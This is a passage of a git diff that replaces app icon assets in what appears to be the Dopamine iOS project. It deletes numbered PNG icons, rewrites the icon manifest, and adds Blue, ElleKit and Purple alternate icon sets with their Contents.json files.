a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/152.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/167.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/167.png deleted file mode 100644 index f946c222d9..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/167.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/180.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/180.png deleted file mode 100644 index 6f17e471ff..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/180.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/20.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/20.png deleted file mode 100644 index b7cc01a4ed..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/20.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/29.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/29.png deleted file mode 100644 index 2e2eb36e57..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/29.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/40.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/40.png deleted file mode 100644 index f89d7cf928..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/40.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/50.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/50.png deleted file mode 100644 index 8efb8550a5..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/50.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/57.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/57.png deleted file mode 100644 index fa2b19e8ee..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/57.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/58.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/58.png deleted file mode 100644 index 5b8a53a0bd..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/58.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/60.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/60.png deleted file mode 100644 index cef6ef69d4..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/60.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/72.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/72.png deleted file mode 100644 index 6345daada4..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/72.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/76.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/76.png deleted file mode 100644 index f6bab64fa3..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/76.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/80.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/80.png deleted file mode 100644 index 343a7704fe..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/80.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/87.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/87.png deleted file mode 100644 index 0a72f205e2..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/87.png and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Contents.json b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Contents.json index 4fdf88263a..a9619ced50 100644 --- a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Contents.json +++ b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -1,153 +1,113 @@ { "images" : [ { - "filename" : "40.png", - "idiom" : "iphone", + "filename" : "Icon-Notification@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", "size" : "20x20" }, { - "filename" : "60.png", - "idiom" : "iphone", + "filename" : "Icon-Notification@3x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "3x", "size" : "20x20" }, { - "filename" : "29.png", - "idiom" : "iphone", - "scale" : "1x", - "size" : "29x29" - }, - { - "filename" : "58.png", - "idiom" : "iphone", + "filename" : "Icon-Small@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", "size" : "29x29" }, { - "filename" : "87.png", - "idiom" : "iphone", + "filename" : "Icon-Small@3x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "3x", "size" : "29x29" }, { - "filename" : "80.png", - "idiom" : "iphone", + "filename" : "Icon-38@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", - "size" : "40x40" + "size" : "38x38" }, { - "filename" : "120.png", - "idiom" : "iphone", + "filename" : "Icon-38@3x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "3x", - "size" : "40x40" - }, - { - "filename" : "57.png", - "idiom" : "iphone", - "scale" : "1x", - "size" : "57x57" - }, - { - "filename" : "114.png", - "idiom" : "iphone", - "scale" : "2x", - "size" : "57x57" + "size" : "38x38" }, { - "filename" : "120.png", - "idiom" : "iphone", + "filename" : "Icon-Small-40@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", - "size" : "60x60" + "size" : "40x40" }, { - "filename" : "180.png", - "idiom" : "iphone", + "filename" : "Icon-Small-40@3x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "3x", - "size" : "60x60" - }, - { - "filename" : "20.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "20x20" - }, - { - "filename" : "40.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "20x20" - }, - { - "filename" : "29.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "29x29" - }, - { - "filename" : "58.png", - "idiom" : "ipad", - "scale" : "2x", - "size" : "29x29" - }, - { - "filename" : "40.png", - "idiom" : "ipad", - "scale" : "1x", "size" : "40x40" }, { - "filename" : "80.png", - "idiom" : "ipad", + "filename" : "Icon-Small-40@3x 1.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", - "size" : "40x40" + "size" : "60x60" }, { - "filename" : "50.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "50x50" + "filename" : "Icon-60@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "60x60" }, { - "filename" : "100.png", - "idiom" : "ipad", + "filename" : "Icon-64@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", - "size" : "50x50" + "size" : "64x64" }, { - "filename" : "72.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "72x72" + "filename" : "Icon-64@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "64x64" }, { - "filename" : "144.png", - "idiom" : "ipad", + "filename" : "Icon-68@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", - "size" : "72x72" - }, - { - "filename" : "76.png", - "idiom" : "ipad", - "scale" : "1x", - "size" : "76x76" + "size" : "68x68" }, { - "filename" : "152.png", - "idiom" : "ipad", + "filename" : "Icon-76@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", "size" : "76x76" }, { - "filename" : "167.png", - "idiom" : "ipad", + "filename" : "Icon-83.5@2x.png", + "idiom" : "universal", + "platform" : "ios", "scale" : "2x", "size" : "83.5x83.5" }, { - "filename" : "1024.png", - "idiom" : "ios-marketing", - "scale" : "1x", + "idiom" : "universal", + "platform" : "ios", "size" : "1024x1024" } ], diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-38@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-38@2x.png new file mode 100644 index 0000000000..dd06fe022b Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-38@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-38@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-38@3x.png new file mode 100644 index 0000000000..31756c2c4c Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-38@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png new file mode 100644 index 0000000000..78fb5341b2 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-64@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-64@2x.png new file mode 100644 index 0000000000..e300bb895f Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-64@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-64@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-64@3x.png new file mode 100644 index 0000000000..8c1f831d43 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-64@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-68@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-68@2x.png new file mode 100644 index 0000000000..1391c6161e Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-68@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png new file mode 100644 index 0000000000..e5dde33de9 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png new file mode 100644 index 0000000000..9ea200d790 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-83.5@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Notification@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Notification@2x.png new file mode 100644 index 0000000000..ff45a8ee39 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Notification@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Notification@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Notification@3x.png new file mode 100644 index 0000000000..f3543793ab Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Notification@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x.png new file mode 100644 index 0000000000..b7d68730b9 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x 1.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x 1.png new file mode 100644 index 0000000000..7f876d27f9 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x 1.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x.png new file mode 100644 index 0000000000..7f876d27f9 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png new file mode 100644 index 0000000000..eaa971ba10 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png new file mode 100644 index 0000000000..634af1f466 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Contents.json b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Contents.json new file mode 100644 index 0000000000..874cc01649 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Contents.json @@ -0,0 +1,118 @@ +{ + "images" : [ + { + "filename" : "Icon-Notification@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "20x20" + }, + { + "filename" : "Icon-Notification@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "20x20" + }, + { + "filename" : "Icon-Small@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "29x29" + }, + { + "filename" : "Icon-Small@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "29x29" + }, + { + "filename" : "Icon-38@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "38x38" + }, + { + "filename" : "Icon-38@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "38x38" + }, + { + "filename" : "Icon-Small-40@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "40x40" + }, + { + "filename" : "Icon-Small-40@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "40x40" + }, + { + "filename" : "Icon-60@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "60x60" + }, + { + "filename" : "Icon-60@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "60x60" + }, + { + "filename" : "Icon-64@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "64x64" + }, + { + "filename" : "Icon-64@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "64x64" + }, + { + "filename" : "Icon-68@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "68x68" + }, + { + "filename" : "Icon-76@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "76x76" + }, + { + "filename" : "Icon-83.5@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "83.5x83.5" + }, + { + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-38@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-38@2x.png new file mode 100644 index 0000000000..5ccaba8fad Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-38@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-38@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-38@3x.png new file mode 100644 index 0000000000..f06f775bc4 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-38@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-60@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-60@2x.png new file mode 100644 index 0000000000..f67751e504 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-60@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-60@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-60@3x.png new file mode 100644 index 0000000000..3b9af7fc2f Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-60@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-64@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-64@2x.png new file mode 100644 index 0000000000..e043fed231 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-64@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-64@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-64@3x.png new file mode 100644 index 0000000000..b5bd9e7470 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-64@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-68@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-68@2x.png new file mode 100644 index 0000000000..d525e35480 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-68@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-76@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-76@2x.png new file mode 100644 index 0000000000..1ec509aa17 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-76@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-83.5@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-83.5@2x.png new file mode 100644 index 0000000000..fd1a88485b Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-83.5@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Notification@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Notification@2x.png new file mode 100644 index 0000000000..4dd1b5f013 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Notification@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Notification@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Notification@3x.png new file mode 100644 index 0000000000..1e25f34bb6 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Notification@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small-40@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small-40@2x.png new file mode 100644 index 0000000000..42d799b515 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small-40@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small-40@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small-40@3x.png new file mode 100644 index 0000000000..f67751e504 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small-40@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small@2x.png new file mode 100644 index 0000000000..acaec9bbb2 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small@3x.png new file mode 100644 index 0000000000..9ca2cc13ca Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Blue.appiconset/Icon-Small@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Contents.json b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Contents.json new file mode 100644 index 0000000000..874cc01649 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Contents.json @@ -0,0 +1,118 @@ +{ + "images" : [ + { + "filename" : "Icon-Notification@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "20x20" + }, + { + "filename" : "Icon-Notification@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "20x20" + }, + { + "filename" : "Icon-Small@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "29x29" + }, + { + "filename" : "Icon-Small@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "29x29" + }, + { + "filename" : "Icon-38@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "38x38" + }, + { + "filename" : "Icon-38@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "38x38" + }, + { + "filename" : "Icon-Small-40@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "40x40" + }, + { + "filename" : "Icon-Small-40@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "40x40" + }, + { + "filename" : "Icon-60@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "60x60" + }, + { + "filename" : "Icon-60@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "60x60" + }, + { + "filename" : "Icon-64@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "64x64" + }, + { + "filename" : "Icon-64@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "64x64" + }, + { + "filename" : "Icon-68@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "68x68" + }, + { + "filename" : "Icon-76@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "76x76" + }, + { + "filename" : "Icon-83.5@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "83.5x83.5" + }, + { + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-38@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-38@2x.png new file mode 100644 index 0000000000..72485297cb Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-38@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-38@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-38@3x.png new file mode 100644 index 0000000000..55c68b6e2c Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-38@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-60@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-60@2x.png new file mode 100644 index 0000000000..826d005952 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-60@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-60@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-60@3x.png new file mode 100644 index 0000000000..3f0c0f0246 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-60@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-64@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-64@2x.png new file mode 100644 index 0000000000..e6e3a73132 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-64@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-64@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-64@3x.png new file mode 100644 index 0000000000..617cb12467 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-64@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-68@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-68@2x.png new file mode 100644 index 0000000000..747bfc892d Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-68@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-76@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-76@2x.png new file mode 100644 index 0000000000..08bdb4e380 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-76@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-83.5@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-83.5@2x.png new file mode 100644 index 0000000000..e33acff312 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-83.5@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Notification@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Notification@2x.png new file mode 100644 index 0000000000..677e818d92 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Notification@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Notification@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Notification@3x.png new file mode 100644 index 0000000000..665ba53a3b Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Notification@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small-40@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small-40@2x.png new file mode 100644 index 0000000000..a4ba6e86e7 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small-40@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small-40@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small-40@3x.png new file mode 100644 index 0000000000..826d005952 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small-40@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small@2x.png new file mode 100644 index 0000000000..97dc4c54c3 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small@3x.png new file mode 100644 index 0000000000..81325e093c Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_ElleKit.appiconset/Icon-Small@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Contents.json b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Contents.json new file mode 100644 index 0000000000..874cc01649 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Contents.json @@ -0,0 +1,118 @@ +{ + "images" : [ + { + "filename" : "Icon-Notification@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "20x20" + }, + { + "filename" : "Icon-Notification@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "20x20" + }, + { + "filename" : "Icon-Small@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "29x29" + }, + { + "filename" : "Icon-Small@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "29x29" + }, + { + "filename" : "Icon-38@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "38x38" + }, + { + "filename" : "Icon-38@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "38x38" + }, + { + "filename" : "Icon-Small-40@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "40x40" + }, + { + "filename" : "Icon-Small-40@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "40x40" + }, + { + 